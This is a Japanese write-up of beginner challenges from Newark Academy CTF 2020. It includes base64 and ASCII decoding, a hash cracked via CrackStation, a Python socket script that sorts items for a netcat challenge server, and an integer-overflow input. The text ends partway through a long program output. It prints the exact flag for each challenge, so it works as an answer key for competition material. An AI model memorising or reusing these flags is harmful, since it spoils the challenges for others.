Newark Academy CTF 2020 Writeup

この大会は2020/10/31 7:00(JST)~2020/11/5 7:00(JST)に開催されました。
今回もチームで参戦。結果は10676点で968チーム中9位でした。
自分で解けた問題をWriteupとして書いておきます。

Join the Discord (General Skills 10)

Discordに入ると、#welcomeチャネルのメッセージにフラグが書かれていた。

nactf{n1c3_j0b_h4v3_fun}

Intro to Flags (General Skills 10)

問題にフラグが書いてあった。

nactf{fl4gz_4_d4yz}

Basics (General Skills 30)

base64デコードする。

$ echo bmFjdGZ7YmE1MzVfYXIzX3N3MzN0fQ== | base64 -d
nactf{ba535_ar3_sw33t}
nactf{ba535_ar3_sw33t}

Grep 0 (General Skills 50)

$ unzip flag.zip 
Archive:  flag.zip
 extracting: flag.txt                
$ strings flag.txt | grep nactf
nactf{gr3p_1s_r3ally_c00l_54a65e7}
nactf{gr3p_1s_r3ally_c00l_54a65e7}

Numbers (General Skills 50)

ASCIIコードを1シフトしてデコードする。

with open('flag.txt', 'r') as f:
    codes = map(int, f.read().rstrip().split(' '))

flag = ''
for code in codes:
    flag += chr(code - 1)
print flag
nactf{asc11_XB4RCR5}

Hashbrowns (General Skills 50)

CrackStationでクラックする。

secure_password
nactf{secure_password}

Dr. J's Vegetable Factory #1 (General Skills 50)

$ nc challenges.ctfd.io 30267
Welcome to Dr. J's Vegetable Factory 🥕™. We serve the chunkiest vegetables on the east coast, or your money back. Which challenge would you like to solve?

Enter 1, 2, 3, 4, or 5.
1

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 1 🥬🥕🌽🍆🥦🥒🥑🍄
Dr. J needs help sorting the following veggies into alphabetical order:

Wakame, Dandelion Greens, Kelp

Give instructions for Dr. J's Robot to execute. Enter numbers separated by spaces to sort Dr. J's vegetables. Entering x will swap the vegetable in position x with the vegetable in position x+1

0 1
Here's what the robot did:
Dandelion Greens, Kelp, Wakame
🥬🥕🌽🍆🥦🥒🥑🍄 That's correct!! 🥬🥕🌽🍆🥦🥒🥑🍄

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 2 🥬🥕🌽🍆🥦🥒🥑🍄
Nori, Sweet Banana Peppers, Okra, Green Lentils

ソートする過程を指定出来ればよい。バブルソートでソートすればよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def bubble_sort(ary):
    ans = ''
    n = len(ary)
    for i in range(n):
        sorted = True
        for j in range(n - i - 1):
            if ary[j] > ary[j+1]:
                ary[j], ary[j+1] = ary[j+1], ary[j]
                ans += str(j) + ' '
                sorted = False
        if sorted:
            break
    return ans[:-1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenges.ctfd.io', 30267))

data = recvuntil(s, '5.\n').rstrip()
print data
print '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data

for i in range(3):
    data = recvuntil(s, 'STAGE')
    data += recvuntil(s, '\n').rstrip()
    print data
    if i == 0:
        for _ in range(2):
            data = recvuntil(s, '\n').rstrip()
            print data
    data = recvuntil(s, '\n').rstrip()
    print data
    q = data.split(', ')
    data = recvuntil(s, '\n').rstrip()
    print data
    if i == 0:
        for _ in range(2):
            data = recvuntil(s, '\n').rstrip()
            print data
    ans = bubble_sort(q)
    print ans
    s.sendall(ans + '\n')
    for _ in range(4):
        data = recvuntil(s, '\n').rstrip()
        print data

実行結果は以下の通り。

Welcome to Dr. J's Vegetable Factory 🥕™. We serve the chunkiest vegetables on the east coast, or your money back. Which challenge would you like to solve?

Enter 1, 2, 3, 4, or 5.
1

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 1 🥬🥕🌽🍆🥦🥒🥑🍄
Dr. J needs help sorting the following veggies into alphabetical order:

Zucchini, Dulse, Sugar Snap Peas

Give instructions for Dr. J's Robot to execute. Enter numbers separated by spaces to sort Dr. J's vegetables. Entering x will swap the vegetable in position x with the vegetable in position x+1

0 1
Here's what the robot did:
Dulse, Sugar Snap Peas, Zucchini
🥬🥕🌽🍆🥦🥒🥑🍄 That's correct!! 🥬🥕🌽🍆🥦🥒🥑🍄

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 2 🥬🥕🌽🍆🥦🥒🥑🍄
Kohlrabi, Rockweed, Butternut Squash, Ogonori

1 2 0
Here's what the robot did:
Butternut Squash, Kohlrabi, Ogonori, Rockweed
🥬🥕🌽🍆🥦🥒🥑🍄 That's correct!! 🥬🥕🌽🍆🥦🥒🥑🍄

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 3 🥬🥕🌽🍆🥦🥒🥑🍄
Kohlrabi, Savoy Cabbage, Crimini Mushrooms, Anaheim Peppers, Baby Corn

1 2 3 0 1 2 0 1
Here's what the robot did:
Anaheim Peppers, Baby Corn, Crimini Mushrooms, Kohlrabi, Savoy Cabbage
🥬🥕🌽🍆🥦🥒🥑🍄 That's correct!! 🥬🥕🌽🍆🥦🥒🥑🍄
nactf{1f_th3r3s_4_pr0b13m_13ttuce_kn0w_db4d736fd28f0ea39ec}
nactf{1f_th3r3s_4_pr0b13m_13ttuce_kn0w_db4d736fd28f0ea39ec}

Arithmetic (General Skills 150)

uintの範囲は0-4294967295。以下の条件を満たすよう整数オーバーフローを使って算出する。

a +  2718281828 = 42
a = 4294967296 + 42 - 2718281828 = 1576685510
$ nc challenges.ctfd.io 30165
Enter your number:
1576685510
flag: nactf{0verfl0w_1s_c00l_6e3bk1t5}
nactf{0verfl0w_1s_c00l_6e3bk1t5}

Dr. J's Vegetable Factory #2 (General Skills 150)

$ nc challenges.ctfd.io 30267
Welcome to Dr. J's Vegetable Factory 🥕™. We serve the chunkiest vegetables on the east coast, or your money back. Which challenge would you like to solve?

Enter 1, 2, 3, 4, or 5.
2

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 1 🥬🥕🌽🍆🥦🥒🥑🍄
Dr. J needs help sorting the following veggies into alphabetical order:

Rapini, Radicchio, Scarlet Runner Beans, Cubanelle Peppers, Patty Pan, Christmas Lima Bean, Kale, Cucumber, Mung Beans, Tomato, Parsnip, Green Lentils, Laver, Shiitake Mushrooms, Sweet Potato, Green Cabbage, Boston Butterhead, Hubbard Squash, Romaine, Yellow Split Peas, Arame, Beet, Jicama, Great Northern Beans, Kelp, Spanish Tolosana Beans, Savoy Cabbage, Sea Lettuce, Jerusalem Artichoke, Bladderwrack, Wakame, Bitter Melon, Moth Beans, Chlorella, Serrano Peppers, Escarole, Radish, Celery, Pumpkin Squash, Bibb Butterhead, Cherry Peppers, Yellow Squash, Kabocha Squash, Brussels Sprouts, Ogonori, Oyster Mushrooms, Bamboo Shoots, Garlic, Pimento Peppers, Butternut Squash, Okra, Pinto Beans, Garbanzo Beans, Green Asparagus, Spirulina, Acorn Squash, Black Eyed Peas, Royal Trumpet Mushrooms, Chana Dal, Horseradish, Hijiki, Fiddlehead, Anasazi Beans, Nopales, Red Leaf, Snow Peas, Sugar Snap Peas, Pigeon Pea, Baby Corn, Calabash, Elephant Garlic, Poblano Peppers, Curly, Pink Beans, Banana Peppers, Urad, Leeks, English Cucumber, Mozuku, Habanero Peppers, Edamame, Morel Mushrooms, Yams, Maitake Mushrooms, Fresno Peppers, Zucchini, Cassava, Lemongrass, Agar Agar, Wax Beans, Nori, Pumpkin, Rutabaga, Turnip, Collard Greens, Water Spinach, Turban Squash, Carrot, Sweet Banana Peppers, Lotus Seed, Bell Pepper, Green Peas, Adzuki Beans, Bell Peppers, Portobello Mushrooms, Capers, Porcini Mushrooms, Red Lentils, Broccoli, Water Chestnut, Endive, Flageolet Beans, Lettuce, Green Leaf, Sport Peppers, Dulse, Digitata Kelp, Kohlrabi Greens, Green Beans, Arugula, Chipotle Peppers, Lacinato, Greens, Daikon Radish, Tomatillo, Desi, Green Split Peas, Celtuce, Turnip Greens, White Asparagus, Alaria, Onion, Carrageen Moss, Soybean, Aonori, White Button Mushrooms, Rice Beans, Anaheim Peppers, Cauliflower, Parsley, Bean Sprouts, Taro, Shallots, New Mexico Peppers, Tepary Beans, Gherkin, Kohlrabi, Cannellini Beans, Artichoke, Beet Greens, Bok Choy, Green Onions, Brown Lentils, Belgian Endive, Spinach, Corona Beans, Swiss Chard, Chunky Turnips, Avocado, Crimini Mushrooms, Burdock Root, Fava Beans, Truffles Mushrooms, Zucchini Squash, Banana Squash, Galangal, Olive, Lima Beans, Pickling Cucumbers, Yellow Lentils, Red Cabbage, Fennel, Chayote, Lotus Root, Iceberg, Rockweed, Celery Root, Hearts of Palm, Ornamental, Red Beans, Parsley Root, Sea Grape, Delicata Squash, Mustard Greens, Cayenne Peppers, Kombu, Napa Cabbage, Hungarian Peppers, Cushaw Squash, Grape Leaves, Lupini Beans, Watercress, Marrow Beans, Kidney Beans, Chinese Broccoli, Purslane, Black Beans, Jalapeno Peppers, Potato, Dandelion Greens, Ginger, Plantain, Spaghetti Squash, Peas, Buttercup Squash, Butter Beans, Corn, Enoki Mushrooms, Chanterelle Mushrooms, Borlotti, Winter Melon, Eggplant, Purple Asparagus, Navy Beans, Amaranth Leaves, Thai Peppers

Give instructions for Dr. J's Robot to execute. Enter numbers separated by spaces to sort Dr. J's vegetables. Entering x will swap the vegetable in position x with the vegetable in position x+1

たくさんワードが並んでいるが、#1と同様のコードで解ける。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def bubble_sort(ary):
    ans = ''
    n = len(ary)
    for i in range(n):
        sorted = True
        for j in range(n - i - 1):
            if ary[j] > ary[j+1]:
                ary[j], ary[j+1] = ary[j+1], ary[j]
                ans += str(j) + ' '
                sorted = False
        if sorted:
            break
    return ans[:-1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenges.ctfd.io', 30267))

data = recvuntil(s, '5.\n').rstrip()
print data
print '2'
s.sendall('2\n')
data = recvuntil(s, '\n').rstrip()
print data

for i in range(1):
    data = recvuntil(s, 'STAGE')
    data += recvuntil(s, '\n').rstrip()
    print data
    if i == 0:
        for _ in range(2):
            data = recvuntil(s, '\n').rstrip()
            print data
    data = recvuntil(s, '\n').rstrip()
    print data
    q = data.split(', ')
    data = recvuntil(s, '\n').rstrip()
    print data
    if i == 0:
        for _ in range(2):
            data = recvuntil(s, '\n').rstrip()
            print data
    ans = bubble_sort(q)
    print ans
    s.sendall(ans + '\n')
    for _ in range(4):
        data = recvuntil(s, '\n').rstrip()
        print data

実行結果は以下の通り。

Welcome to Dr. J's Vegetable Factory 🥕™. We serve the chunkiest vegetables on the east coast, or your money back. Which challenge would you like to solve?

Enter 1, 2, 3, 4, or 5.
2

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 1 🥬🥕🌽🍆🥦🥒🥑🍄
Dr. J needs help sorting the following veggies into alphabetical order:

Daikon Radish, Black Eyed Peas, Brown Lentils, Chana Dal, Green Asparagus, Bean Sprouts, Scarlet Runner Beans, Greens, Winter Melon, Bitter Melon, Romaine, Shiitake Mushrooms, Galangal, Parsley Root, Delicata Squash, Mozuku, Amaranth Leaves, Burdock Root, Yellow Split Peas, Lettuce, White Asparagus, Kabocha Squash, Red Beans, Corona Beans, Borlotti, Kidney Beans, Acorn Squash, Radicchio, Boston Butterhead, Beet Greens, Cauliflower, Anasazi Beans, Green Leaf, Cherry Peppers, Oyster Mushrooms, Arame, Wakame, Buttercup Squash, Portobello Mushrooms, Kohlrabi Greens, Flageolet Beans, Spirulina, Fresno Peppers, Sea Grape, Fennel, Morel Mushrooms, Ginger, Celery Root, Royal Trumpet Mushrooms, Ogonori, Patty Pan, Turnip, Red Lentils, Parsley, Celery, Sport Peppers, Water Spinach, Pink Beans, Purple Asparagus, Hearts of Palm, Eggplant, Fava Beans, Pumpkin Squash, Grape Leaves, Horseradish, Banana Peppers, Collard Greens, Maitake Mushrooms, Poblano Peppers, Chipotle Peppers, Black Beans, Bell Peppers, Bell Pepper, Cushaw Squash, Celtuce, Purslane, Chunky Turnips, Yellow Lentils, Capers, Nopales, Rice Beans, White Button Mushrooms, Garbanzo Beans, Lacinato, Mustard Greens, New Mexico Peppers, Red Leaf, Pimento Peppers, Garlic, Spanish Tolosana Beans, Okra, Gherkin, Escarole, Brussels Sprouts, Habanero Peppers, Iceberg, Edamame, Sweet Potato, Belgian Endive, Christmas Lima Bean, Hijiki, Endive, Tepary Beans, Rapini, Zucchini, Wax Beans, Radish, Cucumber, Kelp, Sea Lettuce, Parsnip, Bamboo Shoots, Bibb Butterhead, Zucchini Squash, Pumpkin, Serrano Peppers, Calabash, Sugar Snap Peas, Banana Squash, Jalapeno Peppers, Marrow Beans, Potato, Jerusalem Artichoke, Peas, Kale, Yams, Rockweed, Green Beans, Lotus Seed, Kombu, Jicama, Desi, Alaria, Bladderwrack, Aonori, Butternut Squash, Great Northern Beans, Enoki Mushrooms, Red Cabbage, Spinach, Ornamental, Curly, Napa Cabbage, Watercress, Corn, Bok Choy, Butter Beans, English Cucumber, Carrageen Moss, Chanterelle Mushrooms, Beet, Tomatillo, Nori, Laver, Urad, Crimini Mushrooms, Chayote, Water Chestnut, Lotus Root, Green Cabbage, Agar Agar, Baby Corn, Broccoli, Swiss Chard, Olive, Hubbard Squash, Taro, Lemongrass, Yellow Squash, Cannellini Beans, Shallots, Dulse, Green Split Peas, Soybean, Anaheim Peppers, Lupini Beans, Savoy Cabbage, Cassava, Lima Beans, Chinese Broccoli, Rutabaga, Green Peas, Elephant Garlic, Moth Beans, Plantain, Sweet Banana Peppers, Pinto Beans, Hungarian Peppers, Fiddlehead, Adzuki Beans, Pigeon Pea, Porcini Mushrooms, Snow Peas, Thai Peppers, Artichoke, Dandelion Greens, Cubanelle Peppers, Turban Squash, Cayenne Peppers, Navy Beans, Turnip Greens, Carrot, Pickling Cucumbers, Spaghetti Squash, Mung Beans, Chlorella, Tomato, Kohlrabi, Onion, Green Lentils, Avocado, Leeks, Digitata Kelp, Arugula, Truffles Mushrooms, Green Onions

Give instructions for Dr. J's Robot to execute. Enter numbers separated by spaces to sort Dr. J's vegetables. Entering x will swap the vegetable in position x with the vegetable in position x+1

0 1 2 4 6 8 9 10 11 12 13 14 15 16 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 104 105 106 107 108 109 110 111 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 3 7 8 10 11 12 13 14 15 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 103 104 105 106 107 108 109 110 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 2 6 9 10 11 12 13 14 16 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 102 103 104 105 106 107 108 109 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 1 5 8 9 10 11 12 13 15 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 74 75 76 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 101 102 103 104 105 106 107 108 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 0 4 7 9 10 11 12 14 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 32 33 34 35 37 38 39 40 41 42 43 44 45 47 48 49 50 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 73 74 75 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 100 101 102 103 104 105 106 107 109 110 111 112 113 114 115 116 117 118 119 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 3 6 8 10 11 13 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 31 32 33 34 36 37 38 39 40 41 42 43 44 46 47 48 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 72 73 74 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 99 100 101 102 103 104 105 106 108 109 110 111 112 113 114 115 116 117 118 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 2 7 9 10 12 14 16 17 18 19 20 21 22 23 24 25 26 27 28 30 31 32 33 35 37 38 39 40 41 42 43 45 46 47 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 71 72 73 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 99 100 101 102 103 104 105 107 108 109 110 111 112 113 114 115 116 117 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 1 6 8 9 13 15 16 17 18 20 21 22 23 24 25 26 27 29 30 31 32 34 36 37 38 39 40 41 42 44 45 46 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 70 71 72 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 98 99 100 101 102 103 104 106 107 108 109 110 111 112 113 114 115 116 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 7 8 12 14 15 16 17 19 20 21 22 23 24 25 26 28 29 30 31 33 35 36 37 38 40 41 43 44 45 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 69 70 71 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 89 90 91 92 94 97 98 99 100 101 102 103 105 106 107 108 109 110 111 112 113 114 115 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 6 7 13 14 15 16 18 19 20 21 22 23 25 27 29 30 32 34 35 36 37 39 40 42 43 44 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 68 69 70 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 88 89 90 91 93 96 97 98 99 100 101 102 104 105 106 107 108 109 110 111 112 113 114 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 5 6 12 13 15 17 18 19 20 21 22 24 26 28 29 31 33 34 35 36 38 39 41 42 43 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 67 68 69 71 72 73 74 75 76 77 79 80 81 82 83 84 85 87 88 89 90 92 95 96 97 98 99 100 101 103 104 105 106 107 108 109 110 111 112 113 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 4 5 11 12 14 16 17 18 19 20 21 23 25 27 28 30 32 33 34 35 37 38 41 42 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 66 67 68 70 71 72 73 74 75 76 78 79 80 81 82 83 84 86 87 88 89 91 94 95 96 97 98 99 100 102 103 104 105 106 107 108 109 110 111 112 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 132 133 134 135 136 137 138 139 140 141 142 143 144 146 147 148 149 150 151 152 153 154 155 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 3 10 11 13 15 16 17 18 19 20 22 24 26 27 29 31 32 33 34 36 37 40 41 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 65 66 67 69 70 71 72 73 74 75 77 78 79 80 81 82 83 85 86 87 88 90 93 94 95 96 97 98 99 101 102 103 104 105 106 107 108 109 110 111 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 131 132 133 134 135 136 137 138 139 140 142 143 145 146 147 148 149 150 151 152 153 154 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 2 9 10 12 14 15 16 17 18 19 21 23 25 26 28 30 31 32 33 35 39 40 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 64 65 66 68 69 70 71 72 73 74 76 77 78 79 80 81 82 84 85 86 87 89 92 93 94 95 96 97 98 100 101 102 104 105 106 107 108 109 110 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 130 131 132 133 134 135 136 138 139 141 142 144 145 146 147 148 149 150 151 152 153 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 1 8 9 11 13 14 15 16 18 20 22 25 27 29 30 31 32 34 38 39 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 63 64 67 68 69 70 71 72 73 75 76 77 78 79 80 81 83 84 85 86 88 91 92 93 94 95 96 97 99 100 101 103 104 105 106 107 108 109 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 129 130 131 132 133 134 135 137 138 140 141 143 144 145 146 147 148 149 150 151 152 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 0 7 8 10 12 13 14 15 17 19 21 24 26 28 30 31 37 38 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 62 63 66 67 68 69 70 71 72 74 75 76 77 78 79 80 82 83 84 85 87 90 91 92 93 94 95 96 98 99 100 102 103 104 105 106 107 108 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 128 129 130 131 132 133 134 136 137 139 140 142 143 144 145 146 147 148 149 150 151 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 7 9 11 12 13 14 16 18 20 23 25 27 29 30 36 37 40 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 59 61 62 65 66 67 68 69 70 71 73 74 75 76 77 78 79 81 82 83 84 86 89 90 91 93 94 95 97 98 99 101 102 103 104 105 106 107 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 127 128 129 130 131 132 133 135 136 138 139 141 142 143 144 145 146 147 148 149 150 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 181 182 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 6 8 10 11 12 13 15 17 19 22 24 26 28 29 36 41 42 43 45 46 47 48 49 50 51 52 53 54 55 56 58 60 61 64 65 66 67 69 70 72 73 74 75 76 77 78 80 81 82 83 85 88 89 90 92 93 94 96 98 100 101 102 103 104 105 106 108 109 110 111 112 113 114 115 116 117 118 119 120 122 123 124 126 127 128 129 130 131 132 134 135 137 138 140 141 142 143 144 146 147 149 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 176 177 178 180 181 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 5 7 9 10 11 12 14 16 18 21 23 25 27 28 35 40 41 42 44 45 46 47 48 49 50 51 52 53 54 55 57 59 60 63 64 65 66 68 69 71 72 73 74 75 76 77 79 80 81 82 84 87 88 89 91 92 93 95 97 99 100 101 102 103 104 105 107 108 109 110 111 112 113 114 115 116 117 118 119 121 122 123 125 126 127 128 129 130 131 133 134 136 137 139 140 141 142 143 145 146 148 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 175 176 177 179 180 182 183 184 185 186 188 189 190 191 192 193 194 196 4 6 8 9 10 11 13 15 17 20 22 24 26 27 34 39 40 41 43 44 45 46 47 49 50 51 52 53 54 56 58 59 62 63 64 65 67 68 70 71 72 73 74 75 76 78 79 80 81 83 86 87 88 90 91 92 94 96 98 99 100 101 102 103 104 106 107 108 109 110 111 112 113 114 115 116 117 118 120 121 122 124 125 126 127 128 129 130 132 133 135 136 138 139 140 141 142 144 145 147 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 174 175 176 178 179 181 182 183 184 185 187 188 189 190 191 192 193 195 5 7 8 10 14 16 19 21 23 25 26 33 38 39 40 42 43 44 45 46 48 49 50 51 52 53 55 57 58 61 62 63 64 66 67 69 70 71 72 73 74 75 77 78 79 80 82 85 86 87 89 90 91 93 95 97 98 99 100 101 102 103 105 106 107 108 109 110 111 112 113 114 115 116 117 119 120 121 123 124 125 126 127 128 129 131 132 134 135 137 138 139 140 141 143 144 146 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 173 174 175 177 178 180 181 182 183 184 186 187 188 189 190 191 192 194 4 6 7 9 13 15 20 22 24 25 32 37 38 39 41 42 43 44 45 47 48 49 50 51 52 54 56 57 60 61 62 63 65 66 68 69 70 71 72 73 74 76 77 78 79 81 84 85 86 88 89 90 92 94 96 97 98 99 100 101 102 104 105 106 107 108 109 110 111 112 113 114 115 116 118 119 120 122 123 124 125 126 127 128 130 131 133 134 136 137 138 139 140 142 143 145 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 164 165 166 167 168 169 170 172 173 174 176 177 179 180 181 182 183 185 186 187 188 189 190 191 193 3 6 8 12 14 21 23 24 31 36 37 38 40 41 42 43 44 46 47 48 49 50 51 53 55 56 59 60 61 62 64 65 67 68 69 70 71 72 73 75 76 77 78 83 84 85 87 88 89 91 93 95 96 97 98 99 100 101 103 104 105 106 107 108 109 110 111 112 113 114 115 117 118 119 121 122 123 124 125 126 127 129 130 132 133 135 136 137 138 139 141 142 144 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 163 164 165 166 167 168 169 171 172 173 175 176 178 179 180 181 182 184 185 186 187 188 189 190 192 2 5 7 11 13 20 23 30 35 36 37 39 40 41 42 43 45 46 47 48 49 50 52 54 55 58 59 60 61 63 64 66 67 68 69 70 71 72 74 75 76 77 82 83 84 